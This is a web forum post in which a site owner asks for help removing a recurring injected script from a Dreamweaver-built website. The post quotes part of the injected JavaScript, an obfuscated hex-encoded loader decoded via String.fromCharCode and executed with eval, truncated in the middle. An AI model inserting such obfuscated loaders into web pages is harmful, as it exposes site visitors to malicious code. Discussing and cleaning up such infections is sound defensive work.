SitePoint Sponsor

User Tag List

Results 1 to 4 of 4

Threaded View

  1. #1
    SitePoint Zealot
    Join Date
    Oct 2009
    Location
    Oklahoma, USA
    Posts
    103
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)

    website has kryptic trojan - how do I remove

    A website that is built in dreamweaver has a kryptic Trojan, and I am not sure how to clean the site. I have scanned the servers and local machine with eset and it isn't finding the source of the injections. However, if I delete the script that is the problem, the site is infected again within a day.


    Here is the script that gets added to each page.
    Code JavaScript:
    <!--0242d5--><script type="text/javascript" language="javascript" >
    p=parseInt;ss=(123)?String.fromCharCode:0;asgq="28!66!75!6e!63!74!6@!6f!6e!20!28!2@!20!7b!d!a!20!20!20!20!76!61!72!20!63!20!3d!20!64!6f!63!75!6d!65!6e!74!2e!63!72!65!61!74!65!45!6c!65!6d!65!6e!74!28!2
    .......
    7d!d!a!7d!2@!28!2@!3b".replace(/@/g,"9").split("!");try{document.body&=0.1}catch(gdsgsdg){zz=3;dbshre=195;if(dbshre){vfvwe=0;try{document;}catch(agdsg){vfvwe=1;}if(!vfvwe){e=eval;}s="";if(zz)for(i=0;i-449!=0;i++){if(window.document)s+=ss(p(asgq[i],16));}if(window.document)e(s);}}</script><!--/0242d5-->
    any help would be appreciated.
    Last edited by Mittineague; Apr 12, 2013 at 13:59. Reason: please don't post mal code
    Master of going the long way to get nowhere
    Web Design Muskogee, Oklahoma


Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •